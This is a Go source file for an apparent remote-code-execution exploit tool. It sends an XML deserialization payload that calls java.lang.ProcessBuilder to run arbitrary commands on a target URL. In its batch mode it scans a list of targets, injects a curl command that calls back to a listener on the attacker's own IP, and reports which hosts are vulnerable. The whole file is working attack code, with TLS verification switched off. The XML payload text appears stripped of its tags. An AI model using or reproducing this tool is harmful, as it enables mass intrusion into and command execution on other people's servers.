package main import ( "fmt" "strings" "net/http" "log" "io/ioutil" "flag" "crypto/tls" "os" "bufio" "net" "time" ) var httpClient = &http.Client{ Transport: &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, }, }, } const ( curlCommand = "curl %s:%d/?t=%s" checkIpEndpoint = "http://checkip.amazonaws.com" stringNodeEnclosure = "%s" xmlPayload = ` 0 false 0 %s false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 ` ) // Builds the xml payload using the passed command func buildXMLPayload(c string) string { var t string for _, p := range strings.Split(c, "\x20") { t += fmt.Sprintf(stringNodeEnclosure, p) } return fmt.Sprintf(xmlPayload, t) } // Resolves the remote ip address of the current machine func getMyExternalIp() string { res, err := http.Get(checkIpEndpoint) if err != nil { log.Fatalln(err) } defer res.Body.Close() body, err := ioutil.ReadAll(res.Body) if err != nil { log.Fatalln(err) } return strings.TrimRight( string(body), "\r\n", ) } // Starts a reverse listener func startListener(port int, callback func(*http.Request)) { http.HandleFunc("/", func(res http.ResponseWriter, req *http.Request) { // Discards the response which is useless in this case and pass the // request to our callback callback(req) }) server := &http.Server{} listener, err := net.ListenTCP( "tcp4", &net.TCPAddr{ IP: net.IPv4(0, 0, 0, 0), Port: port, }) if err != nil { log.Fatalln(err) } go server.Serve(listener) } func sendPayload(targetUrl string, payload string) { req, err := http.NewRequest(http.MethodPost, targetUrl, strings.NewReader(payload)) if err != nil { log.Fatalln(err) } // req.Header.Set("content-type", "application/xml") res, err := httpClient.Do(req) if err != nil { log.Fatalln(err) } res.Body.Close() } func checkTargetsFromFile(filename string, listenerPort int) { file, err := os.Open(filename) if err != nil { log.Fatalln(err) } defer file.Close() scanner := bufio.NewScanner(file) // Starts the listener startListener(listenerPort, func(req *http.Request) { fmt.Println(req.URL.Query().Get("t") + " seems to be a vulnerable endpoint") }) ip := getMyExternalIp() for scanner.Scan() { target := scanner.Text() // Sends the payload sendPayload( target, buildXMLPayload( fmt.Sprintf(curlCommand, ip, listenerPort, target), ), ) } } func isEmpty(s *string) bool { return *s == "" } func main() { urlPtr := flag.String("u", "", "target url") commandPtr := flag.String("c", "", "command to be executed") filePtr := flag.String("f", "", "file containing targets") portPtr := flag.Int("p", 8080, "listener port") flag.Parse() if !isEmpty(urlPtr) && !isEmpty(commandPtr) { // Sends a single request with the passed command sendPayload(*urlPtr, buildXMLPayload(*commandPtr)) } else if !isEmpty(filePtr) { // Reads a list of possible targets from a file and automatically // check for RCE checkTargetsFromFile(*filePtr, *portPtr) // Waits some seconds before quitting to avoid false negative due // to server latency. Hope to replace this workaround soon with some channels... time.Sleep(10 * time.Second) } else { flag.Usage() } }